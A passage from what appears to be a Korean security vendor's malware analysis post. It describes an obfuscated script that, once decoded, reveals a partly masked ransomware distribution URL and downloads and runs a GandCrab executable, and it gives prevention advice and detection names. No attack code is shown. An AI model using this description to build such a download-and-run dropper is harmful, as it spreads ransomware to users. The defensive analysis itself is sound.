    이 스크립트는 난독화 되어 있어 아래와 같이 알아 볼 수 없는 문자열로 보이는데 복호화를 했을 경우 아래와 같이 랜섬웨어 유포 페이지((www.yo****p.com/update.php)등을 확인할 수 있으며 기능은 이 서버에 접속해 랜섬웨어(랜덤_이름).exe를 다운로드 후 실행한다.

    [그림4 난독화__스크립트]


    [
    그림5 복호화__URL스트링]

    3. 감염 예방 방법

     의심스러운 파일은 다운로드 및 실행하는 것을 지양해야 하며 V3의 최신 버전에선 탐지가 되기 때문에 주기적인 보안 업데이트가 필요하다.

    4. 진단명

    1) 스크립트 파일 : JS/Obfus.S258

    2) EXE 파일 : Win-Trojan/Gandcrab.Exp

    3) 행위 진단 : Malware/MDP.Create.M1179
     


    Posted by 분석팀